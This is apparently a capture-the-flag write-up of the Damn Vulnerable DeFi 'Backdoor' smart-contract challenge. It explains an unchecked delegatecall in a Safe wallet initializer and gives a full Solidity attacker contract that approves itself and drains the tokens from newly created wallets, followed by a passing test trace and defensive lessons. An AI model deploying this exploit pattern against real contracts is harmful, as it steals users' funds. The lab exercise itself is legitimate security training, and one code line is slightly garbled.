Backdoor Challenge
Challenge Overview:
In this challenge, we are given a contract called WalletRegistry, which rewards users for creating a Safe wallet (a type of smart wallet). For each wallet registered, the registry sends 10 DVT tokens to the new wallet.
There are 4 users already registered as beneficiaries:
- Alice
- Bob
- Charlie
- David
The registry holds 40 DVT tokens in total (10 per user). Your goal:
Exploit the system and transfer all 40 DVT tokens to a recovery address — in a single transaction.
Vulnerability Explaination:
The core idea is to trick the wallet creation logic into executing malicious code during the setup of a new Safe wallet.
Here’s the catch:
-
When creating a new wallet via the SafeProxyFactory, there's an initializer parameter.
-
This initializer is used to delegatecall to any contract during the Safe's setup.
-
This delegatecall runs in the context of the Safe, meaning it can modify the Safe's storage (including approvals).
Even though the Safe looks like it's owned by Alice/Bob/etc., we (the attacker) can inject a delegatecall that approves us to move funds on behalf of the new wallet.
VulnerableCode(in WalletRegistry.sol):
if (bytes4(initializer[:4]) != Safe.setup.selector) {
revert InvalidInitialization();
}
This just checks the initializer calls setup() but doesn’t validate the delegateCall target address. Also:
//// During setup, it executes this.delegateCall(to, data)
So you can provide:
-
to = address(attacker_contract)
-
data = abi.encodeCall(attacker.approveTokens(...))
Which runs your function inside the Safe!
That’s the backdoor.
Exploit Strategy:
- Deploy an attacker contract with a function that:
function approveTokens(DamnValuableToken token, address attacker) external {
token.approve(attacker, type(uint256).max);
}
-
For each beneficiary:
Use the legitimate SafeProxyFactory to create a Safe wallet.
Inside the initializer, embed a delegatecall to our attacker contract.
The delegatecall causes the newly created Safe wallet to approve us.
-
As soon as the wallet is created:
The registry automatically transfers 10 tokens to it.
Immediately use transferFrom to steal the tokens from the new wallet.
-
Repeat for all 4 users → collect 40 DVT → send to recovery address.
All in a single transaction
Exploit Code:
// challenge contract
function test_backdoor() public checkSolvedByPlayer {
//because the challenge only accept if there is a single transation
BackDoorAttacker scater = new BackDoorAttacker(
token,
singletonCopy /*Safe wallet */,
walletFactory,
users,
recovery,
walletRegistry,
AMOUNT_TOKENS_DISTRIBUTED /*40 ether*/
);
scater.attack();
}
//attacker Contract
contract BackDoorAttacker {
Safe singletonCopy;
SafeProxyFactory walletFactory;
DamnValuableToken token;
WalletRegistry walletRegistry;
address[] beneficiaries;
address recovery;
constructor(
DamnValuableToken _token,
Safe _singletonCopy,
SafeProxyFactory _walletFactory,
address[] memory _beneficiaries,
address _recovery,
WalletRegistry _walletRegistry
) {
token = _token;
singletonCopy = _singletonCopy;
walletFactory = _walletFactory;
walletRegistry = _walletRegistry;
beneficiaries = _beneficiaries;
recovery = _recovery;
}
function approveTokens(DamnValuableToken _token, address spender) external {
_token.approve(spender, type(uint256).max);
}
function attack() external {
for (uint i = 0; i < beneficiaries.length; i++) {
address ;
owners[0] = beneficiaries[i];
bytes memory delegateCallData = abi.encodeCall(
this.approveTokens,
(token, address(this))
);
bytes memory initializer = abi.encodeCall(
Safe.setup,
(
owners,
1,
address(this),
delegateCallData,
address(0),
address(0),
0,
payable(address(0))
)
);
SafeProxy proxy = walletFactory.createProxyWithCallback(
address(singletonCopy),
initializer,
1,
walletRegistry
);
token.transferFrom(address(proxy), address(this), token.balanceOf(address(proxy)));
}
token.transfer(recovery, token.balanceOf(address(this)));
}
}
Proof of Exploit:
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (3.22ms CPU time)
Ran 1 test suite in 36.77ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
VM::getNonce(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
│ └─ ← [Return] 1
├─ [0] VM::assertEq(1, 1, "Player executed more than one tx") [staticcall]
│ └─ ← [Return]
├─ [964] WalletRegistry::wallets(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] SafeProxy: [0x638586a520Cf7fe0D5d26d42Ce6148dE4Dc2F433]
├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
│ └─ ← [Return]
├─ [856] WalletRegistry::beneficiaries(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertFalse(false) [staticcall]
│ └─ ← [Return]
├─ [964] WalletRegistry::wallets(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
│ └─ ← [Return] SafeProxy: [0x7033C5922DB65A6DD48D061076431d61403490A3]
├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
│ └─ ← [Return]
├─ [856] WalletRegistry::beneficiaries(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertFalse(false) [staticcall]
│ └─ ← [Return]
├─ [964] WalletRegistry::wallets(charlie: [0xea475d60c118d7058beF4bDd9c32bA51139a74e0]) [staticcall]
│ └─ ← [Return] SafeProxy: [0x983670C08Fd8C3e1B8A02520c8040B9550a81bb8]
├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
│ └─ ← [Return]
├─ [856] WalletRegistry::beneficiaries(charlie: [0xea475d60c118d7058beF4bDd9c32bA51139a74e0]) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertFalse(false) [staticcall]
│ └─ ← [Return]
├─ [964] WalletRegistry::wallets(david: [0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b]) [staticcall]
│ └─ ← [Return] SafeProxy: [0x4B435f00E7cec80ac91d5dd13982629a35Ce63A1]
├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
│ └─ ← [Return]
├─ [856] WalletRegistry::beneficiaries(david: [0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b]) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertFalse(false) [staticcall]
│ └─ ← [Return]
├─ [802] DamnValuableToken::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
│ └─ ← [Return] 40000000000000000000 [4e19]
├─ [0] VM::assertEq(40000000000000000000 [4e19], 40000000000000000000 [4e19]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (3.22ms CPU time)
Conclusion:
This challenge teaches the danger of blindly allowing delegatecall in contract initialization. Just one line of unchecked delegatecall during setup gave us full control over the Safe wallet..
Key Lessons:
-
Delegatecall executes in the caller's storage context — be cautious!
-
Validating the function selector (setup.selector) is not enough — also validate who and what it calls.
-
Safe contracts and proxy patterns are powerful, but they need careful initialization logic.
For more info this challenge visit Github:[Visit] (https://github.com/SCATERLABs/CTFs/blob/0465130a63d25a8078a39b3241c9a8c7e101b7f1/Dam-vulnerable-Defi/test/backdoor/Backdoor.t.sol)